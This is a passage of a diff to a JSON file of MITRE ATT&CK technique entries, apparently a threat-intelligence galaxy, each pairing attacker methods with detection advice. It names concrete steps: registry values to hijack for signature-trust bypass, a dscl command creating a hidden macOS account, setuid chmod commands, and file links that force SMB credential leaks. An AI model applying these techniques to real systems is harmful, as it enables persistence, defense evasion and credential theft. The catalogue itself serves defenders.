"description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
"value": "PowerShell - T1086",
@@ -2131,6 +3032,10 @@
"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
"https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
],
+ "external_id": "T1086",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Windows Registry",
"File monitoring",
@@ -2150,6 +3055,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1063"
],
+ "external_id": "T1063",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -2170,6 +3079,12 @@
"https://attack.mitre.org/wiki/Technique/T1152",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
+ "external_id": "T1152",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
@@ -2182,12 +3097,42 @@
"uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee"
},
{
- "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire",
+ "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n===Browser-based Exploitation===\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n===Office Applications===\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n===Common Third-party Applications===\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, System calls, Process Monitoring\n\nSystem Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.\n\nRemote Support: Yes",
+ "value": "Exploitation for Client Execution - T1203",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1203"
+ ],
+ "external_id": "T1203",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "Anti-virus",
+ "System calls",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63"
+ },
+ {
+ "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward",
"value": "Modify Existing Service - T1031",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1031",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://twitter.com/r0wdy%20/status/936365549553991680",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
+ ],
+ "external_id": "T1031",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
],
"mitre_data_sources": [
"Windows Registry",
@@ -2212,6 +3157,10 @@
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
"https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
],
+ "external_id": "T1032",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -2228,6 +3177,42 @@
},
"uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5"
},
+ {
+ "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n*'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nDetection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n* '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Matt Graeber, @mattifestation, SpecterOps",
+ "value": "SIP and Trust Provider Hijacking - T1198",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1198",
+ "https://msdn.microsoft.com/library/ms537359.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
+ "https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf",
+ "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
+ "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
+ "https://github.com/mattifestation/PoCSubjectInterfacePackage",
+ "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
+ ],
+ "external_id": "T1198",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Application Logs",
+ "DLL monitoring",
+ "Loaded DLLs",
+ "Process Monitoring",
+ "Windows Registry",
+ "Windows event logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31"
+ },
{
"description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
"value": "Setuid and Setgid - T1166",
@@ -2235,6 +3220,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1166"
],
+ "external_id": "T1166",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
@@ -2248,7 +3237,7 @@
"uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2"
},
{
- "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are different ways this can occur:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu",
+ "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C",
"value": "Forced Authentication - T1187",
"meta": {
"refs": [
@@ -2258,7 +3247,12 @@
"https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
"https://github.com/hob0/hashjacking",
"https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf",
- "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+ "https://www.us-cert.gov/ncas/alerts/TA17-293A",
+ "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
+ ],
+ "external_id": "T1187",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
],
"mitre_data_sources": [
"File monitoring",
@@ -2273,7 +3267,7 @@
"uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2"
},
{
- "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
+ "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
"value": "Valid Accounts - T1078",
"meta": {
"refs": [
@@ -2281,6 +3275,13 @@
"https://technet.microsoft.com/en-us/library/dn535501.aspx",
"https://technet.microsoft.com/en-us/library/dn487457.aspx"
],
+ "external_id": "T1078",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation",
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
"mitre_data_sources": [
"Authentication logs",
"Process monitoring"
@@ -2300,6 +3301,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1007"
],
+ "external_id": "T1007",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -2310,6 +3315,33 @@
},
"uuid": "322bad5a-1c49-4d23-ab79-76d641794afa"
},
+ {
+ "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)\n\nDetection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Web proxy, File monitoring",
+ "value": "Supply Chain Compromise - T1195",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1195",
+ "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
+ "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
+ "https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf"
+ ],
+ "external_id": "T1195",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Web proxy",
+ "File monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7"
+ },
{
"description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
"value": "Hidden Users - T1147",
@@ -2318,6 +3350,10 @@
"https://attack.mitre.org/wiki/Technique/T1147",
"https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
],
+ "external_id": "T1147",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Authentication logs",
"File monitoring"
@@ -2335,6 +3371,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1033"
],
+ "external_id": "T1033",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -2356,6 +3396,10 @@
"https://attack.mitre.org/wiki/Technique/T1026",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1026",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -2381,6 +3425,10 @@
"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
],
+ "external_id": "T1097",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -2399,6 +3447,11 @@
"http://msdn.microsoft.com/en-us/library/aa384426",
